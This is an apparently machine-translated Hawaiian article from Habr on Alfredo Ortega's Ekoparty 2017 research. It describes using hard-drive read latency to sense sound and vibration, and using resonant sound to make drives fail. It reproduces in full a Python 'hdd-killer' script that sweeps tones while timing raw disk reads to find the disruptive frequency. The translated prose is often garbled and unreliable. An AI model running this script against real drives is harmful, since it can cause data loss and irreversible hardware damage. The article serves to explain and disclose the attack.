Ma ka ʻaha kūkā palekana kamepiula ʻo Ekoparty 2017 ma Buenos Aires, ua hōʻike ʻo Argentine hacker ʻo Alfredo Ortega i kahi hoʻomohala hoihoi loa - kahi ʻōnaehana no ka hoʻopaʻa ʻana i nā wahi huna me ka ʻole o ka hoʻohana ʻana i kahi microphone. kani
Lawe nui ka HDD i nā leo haʻahaʻa haʻahaʻa kiʻekiʻe, nā wāwae wāwae a me nā haʻalulu ʻē aʻe. ʻAʻole hiki ke ʻike ʻia ka ʻōlelo kanaka, ʻoiai nā kānaka ʻepekema
ʻO ke kani ka haʻalulu o ka ea a i ʻole kekahi mea ʻē aʻe. ʻIke ke kanaka iā lākou ma o ka eardrum, nāna e hoʻouna i nā haʻalulu i ka pepeiao o loko. Hoʻolālā ʻia ka microphone e like me ka pepeiao - ma ʻaneʻi hoʻi, hoʻopaʻa ʻia nā haʻalulu e kahi membrane lahilahi, kahi e hoʻoulu ai i kahi manaʻo uila. ʻO ka pahu paʻakikī, ʻoiaʻiʻo, pili nō hoʻi i nā haʻalulu microscopic ma muli o ka fluctuations i ka ea a puni. ʻIke ʻia kēia mai nā hiʻohiʻona ʻenehana o HDD: hōʻike pinepine nā mea hana i ka pae haʻalulu i ʻae ʻia, a ʻo ka hard drive ponoʻī e hoʻāʻo e waiho i loko o kahi pahu vibration-proof i hana ʻia me ka lāʻau a i ʻole nā mea insulating ʻē aʻe. Mai kēia mea maʻalahi ke hoʻoholo e hiki ke hoʻopaʻa ʻia nā kani me ka hoʻohana ʻana i ka HDD. ʻO ka mea i koe e noʻonoʻo pehea.
Ua hāʻawi ʻo Alfredo Ortega i kahi mana kūʻokoʻa o ka hoʻouka kaua ʻaoʻao, ʻo ia hoʻi ka hoʻouka manawa. Hoʻokumuʻia kēia hoʻouka kaua ma ka manaʻo e hanaʻia nā hana likeʻole ma luna o ka mea hana i nā manawa likeʻole, ma muli o kaʻikepili hoʻokomo i hāʻawiʻia. I kēia hihia, ʻo ka "input data" nā haʻalulu o ke poʻo heluhelu a me ka pā HDD, e pili ana me nā haʻalulu o ke kaiapuni, ʻo ia hoʻi me ke kani. No laila, ma ke ana ʻana i ka manawa helu a me ka hoʻokō ʻana i ka ʻikepili helu helu, hiki ke ana ʻia nā haʻalulu o ke poʻo/pēlā a no laila ke ana ʻana i nā haʻalulu o ka mea waena. ʻO ka lōʻihi o ka lohi i ka heluhelu ʻana i ka ʻikepili, ʻoi aku ka ikaika o nā haʻalulu HDD a, no laila, ʻoi aku ka nui o ke kani.
Pehea e ana i ka vibration hard drive? Maʻalahi loa: holo wale i ke kelepona ʻōnaehana read ()
— a hoʻopaʻa i ka manawa e hoʻopau ai. ʻAe nā ʻōnaehana hana hou iā ʻoe e heluhelu i ka manawa o nā kelepona ʻōnaehana me ka pololei nanosecond.
ʻO ka wikiwiki o ka heluhelu ʻana i ka ʻike mai kahi ʻāpana e pili ana i ke kūlana o ke poʻo a me ka pā, e hoʻopili ʻia me nā vibrations o ka hihia HDD. ʻo ia wale nō.
Hana ʻia ka ʻikepili helu me ka hoʻohana ʻana i kahi pono Kscope maʻalahi. E like me kā lākou e ʻōlelo nei, maʻalahi nā mea akamai a pau.
Kscope pono (stat() syscall)
He mea liʻiliʻi ʻo Kscope no ka nānā ʻana i nā ʻokoʻa liʻiliʻi i nā manawa hoʻokō kelepona. Puna
Ma kahi waihona ʻokoʻa read ()
.
Hōʻike i ka hoʻopaʻa leo me ka hoʻohana ʻana i ka HDD, ka hana o ka pono Kscope
ʻOiaʻiʻo, ʻaʻole hiki ke hoʻomaopopo ʻia ka ʻōlelo ma kēia ʻano, akā kūpono ka HDD ma ke ʻano he sensor vibration. No ka laʻana, hiki iā ʻoe ke hoʻopaʻa inoa inā komo kahi kanaka e komo ana i nā kāmaʻa paʻa a i ʻole ke kamaʻa ʻole i loko o kahi lumi me kahi kamepiula (ʻo ia paha, inā ʻaʻahu ka mea hoʻouka i nā sneakers palupalu a i ʻole he kapena mānoanoa ma ka papahele, ʻaʻole hiki i ka HDD ke hoʻopaʻa inoa i nā vibrations - pono kēia e nānā). Hiki i ke kamepiula ke hoʻopaʻa inoa i nā aniani haki a i ʻole nā mea ʻē aʻe me ka ikaika o ke kani. ʻO ia hoʻi, hiki i ka hard drive ke lawelawe ma ke ʻano he ʻōnaehana ʻike intrusion ʻole.
HDD pepehi kanaka
Ma ke ala, hiki ke hoʻohana ʻia kahi ʻenehana like no ka hoʻopau ʻana i ka paʻakikī. Ma ʻaneʻi ʻaʻole mākou e wehe i nā oscillations mai ka HDD, akā ma kahi ʻē aʻe, hana mākou i nā oscillations i hānai ʻia i ka HDD. Inā hoʻokani ʻoe i ke kani mai kahi mea haʻi'ōlelo ma ke alapine e kani ana me ka alapine HDD, hoʻopau koke ka ʻōnaehana i ka hāmeʻa me kahi hewa I/O (e hoʻopau loa ka kernel Linux i ka HDD ma hope o 120 kekona). Hiki ke loaʻa i ka pahu paʻakikī ponoʻī ka pōʻino hiki ʻole ke hoʻihoʻi ʻia.
Ua hoʻopau ka kernel Linux i ka pahu paʻakikī ma hope o 120 kekona o ka hoʻopuka ʻana i ke kani ma ke alapine resonant ma o ka mea haʻi'ōlelo o ka Edifier r19u USB leo. Huli ʻia ka mea haʻi'ōlelo ma kahi o ka hapahā o ka mana (emi iho ma mua o 100 mW) a aia ʻo 20 cm mai ka HDD, e kuhikuhi ana i ka papaʻaina e hoʻonui i nā haʻalulu. Pākuʻi mai
He mea kupanaha ka hiki ʻana o kēlā mau "hoʻouka" i nā HDD i kekahi manawa ma kahi pōʻino i ke ola o kēlā me kēia lā. No ka laʻana, i ka mahina ʻo Kepakemapa 2016, ua koi ʻia ke kikowaena data ING Bank e hoʻokuʻu i nā hana no 10 mau hola ma hope o kahi hana ahi.
Hōʻike i ka uē ʻana o ke kanaka i nā pahu paʻakikī ma kahi kikowaena data. Ana latency
No ka hana ʻana i ke kani kani, ua kākau ʻo Alfredo Ortega i kahi palapala Python i kapa ʻia
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com